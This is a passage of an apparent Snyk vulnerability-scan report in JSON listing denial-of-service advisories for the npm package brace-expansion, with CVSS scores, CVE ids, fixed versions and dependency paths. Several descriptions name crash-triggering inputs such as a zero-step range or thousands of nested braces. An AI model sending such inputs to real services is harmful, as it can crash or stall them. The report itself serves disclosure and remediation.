"secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can 